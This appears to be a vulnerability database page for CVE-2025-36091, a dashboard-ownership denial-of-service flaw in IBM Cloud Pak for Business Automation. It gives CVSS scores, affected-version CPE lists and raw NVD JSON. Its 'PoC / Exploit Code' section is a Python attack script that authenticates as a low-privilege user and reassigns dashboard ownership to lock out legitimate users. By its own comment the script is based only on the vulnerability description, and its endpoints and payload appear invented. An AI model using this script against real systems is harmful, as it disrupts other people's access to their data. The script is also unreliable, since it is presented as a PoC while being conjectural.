Security Vulnerability Report
中文
CVE-2025-36091 CVSS 4.3 MEDIUM

CVE-2025-36091

Published: 2025-11-03 16:15:34
Last Modified: 2025-11-05 14:51:51

Description

IBM Cloud Pak For Business Automation 25.0.0, 24.0.1, and 24.0.0 could allow an authenticated user to cause dashboards to become inaccessible to legitimate users due to invalid ownership assignment.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L

Configurations (Affected Products)

cpe:2.3:a:ibm:cloud_pak_for_business_automation:24.0.0:-:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:ibm:cloud_pak_for_business_automation:24.0.0:interim_fix_001:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:ibm:cloud_pak_for_business_automation:24.0.0:interim_fix_002:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:ibm:cloud_pak_for_business_automation:24.0.0:interim_fix_003:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:ibm:cloud_pak_for_business_automation:24.0.0:interim_fix_004:*:*:*:*:*:* - VULNERABLE
IBM Cloud Pak For Business Automation 24.0.0
IBM Cloud Pak For Business Automation 24.0.1
IBM Cloud Pak For Business Automation 25.0.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-36091 PoC - IBM Cloud Pak For Business Automation Dashboard Ownership Manipulation # Note: This PoC demonstrates the concept based on vulnerability description # Actual exploitation requires valid authentication credentials import requests import json TARGET_URL = "https://target-ibm-cp4ba-server.com" DASHBOARD_ID = "target-dashboard-id" # Authentication (requires low-privilege user account) LOGIN_ENDPOINT = f"{TARGET_URL}/auth/login" USERNAME = "low_privilege_user" PASSWORD = "password123" def authenticate(): """Authenticate with low-privilege credentials""" session = requests.Session() auth_data = { "username": USERNAME, "password": PASSWORD } response = session.post(LOGIN_ENDPOINT, json=auth_data) return session, response.cookies def exploit_dashboard_ownership(session, cookies): """ Exploit the ownership assignment vulnerability This causes dashboards to become inaccessible to legitimate users """ # Dashboard ownership modification endpoint dashboard_endpoint = f"{TARGET_URL}/api/dashboards/{DASHBOARD_ID}/ownership" # Malicious ownership assignment payload payload = { "owner_id": "invalid_or_attacker_controlled_id", "transfer_ownership": True, "force_assignment": True } headers = { "Content-Type": "application/json", "X-Requested-With": "XMLHttpRequest" } # Send ownership modification request response = session.put( dashboard_endpoint, json=payload, headers=headers, cookies=cookies ) print(f"[*] Status Code: {response.status_code}") print(f"[*] Response: {response.text}") if response.status_code == 200: print("[!] Dashboard ownership successfully modified - DoS condition achieved") print("[!] Legitimate users can no longer access the dashboard") else: print("[-] Exploitation failed or target already patched") if __name__ == "__main__": print("[*] CVE-2025-36091 PoC - IBM Cloud Pak For Business Automation") print("[*] Vulnerability: Invalid ownership assignment leading to DoS") session, cookies = authenticate() exploit_dashboard_ownership(session, cookies)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-36091", "sourceIdentifier": "[email protected]", "published": "2025-11-03T16:15:34.413", "lastModified": "2025-11-05T14:51:51.157", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "IBM Cloud Pak For Business Automation 25.0.0, 24.0.1, and 24.0.0 could allow an authenticated user to cause dashboards to become inaccessible to legitimate users due to invalid ownership assignment."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-283"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ibm:cloud_pak_for_business_automation:24.0.0:-:*:*:*:*:*:*", "matchCriteriaId": "EF879B84-21B0-4FD4-AD2E-7F29EBDD218A"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ibm:cloud_pak_for_business_automation:24.0.0:interim_fix_001:*:*:*:*:*:*", "matchCriteriaId": "496D1A48-3403-471F-AD07-AEC7E5000AD8"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ibm:cloud_pak_for_business_automation:24.0.0:interim_fix_002:*:*:*:*:*:*", "matchCriteriaId": "AA215EC3-DDFE-494D-862C-35CA30D9BEDE"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ibm:cloud_pak_for_business_automation:24.0.0:interim_fix_003:*:*:*:*:*:*", "matchCriteriaId": "969ED94C-DB65-482F-B8B8-251B56DE264D"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ibm:cloud_pak_for_business_automation:24.0.0:interim_fix_004:*:*:*:*:*:*", "matchCriteriaId": "D1810412-5987-4F53-A81E-096A4F0187B5"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ibm:cloud_pak_for_business_automation:24.0.1:-:*:*:*:*:*:*", "matchCriteriaId": "F68528C5-034B-4B2C-8745-B969B14B52C5"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ibm:cloud_pak_for_business_automation:24.0.1:interim_fix_001:*:*:*:*:*:*", "matchCriteriaId": "EADE80E3-4E60-4154-A559-93E2325D799A"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ibm:cloud_pak_for_business_automation:24.0.1:interim_fix_002:*:*:*:*:*:*", "matchCriteriaId": "D01FC35C-29F1-4D57-8804-07A5C1E9EA85"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ibm:cloud_pak_for_business_automation:24.0.1:interim_fix_004:*:*:*:*:*:*", "matchCriteriaId": "4D682E4B-DA22-4F88-A38F-76FF080AE0B5"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ibm:cloud_pak_for_business_automation:25.0.0:-:*:*:*:*:*:*", "matchCriteriaId": "70431A72-663D-432E-9D94-5BBE380E06AB"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ibm:cloud_pak_for_business_automation:25.0.0:interim_fix_001:*:*:*:*:*:*", "matchCriteriaId": "33128B64-7030-4A4E-8EF2-E285AF44F99F"}]}]}], "references": [{"url": "https://www.ibm.com/support/pages/node/7249999", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}